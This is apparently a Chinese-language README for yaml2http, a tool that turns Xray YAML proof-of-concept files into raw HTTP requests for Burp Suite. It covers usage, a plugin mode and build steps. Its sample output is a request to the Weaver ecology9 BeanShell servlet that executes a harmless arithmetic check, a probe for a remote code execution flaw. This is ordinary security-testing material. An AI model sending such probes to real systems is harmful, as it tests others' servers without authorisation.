一个将Xray
的Poc
转换成http
请求明文的小工具,便于在Burp Suite
一类的工具中使用。
与杜老师交流Poc
存储问题而引出的产物,采用了一个简易版的基于Xray
的Poc
标准,它只支持描述http
协议。目前功能尚不完善,还在开发中...
当Poc
的请求结构中包含不可打印字符时,推荐以插件形式载入Poc
至Burp Suite
中使用。
运行
java -jar yaml2http-1.0.jar -p poc-yaml-ecology9-beanshell-rce.yaml
输出如下
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.47
Connection: close
Host: localhost
Content-Length: 87
bsh.script=print%2842503*40455%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
帮助信息
java -jar yaml2http-1.0.jar -h
usage: yaml2http
-b,--bytes <arg> Path to file need to be convert, convert the file
content as bytes value with b"" format.
-h,--help Help info.
-p,--path <arg> Path to poc file.
支持在Burp Suite
中以插件形式进行使用,这种方式可以避免不可打印字符的问题。
使用方式,从Extender
导入下载或编译的jar
包
进入Repeater
页面,鼠标右键打开菜单并选择Extension -> Yaml Poc Loader -> Import
,并选择需要载入的文件
加载完成后如下,默认指定localhost:80
作为目标。
克隆源码到本地
git clone https://github.com/trganda/yaml2http
并执行
cd yaml2http
mvn clean compile assembly:single
之后可在target
目录下查看编译后的jar
包文件
- 完成
yaml
解析,读取已支持字段值 - 完成变量定义外的
http
文本转换 - 完成变量定义和表达式解析(已初步完成主体框架,后续补充方法功能即可)
- 完成
Content-Type
自识别(但body
数据过短会引起判断失误,推荐poc
中自行指定) - 完成变量定义字段其他方法的支持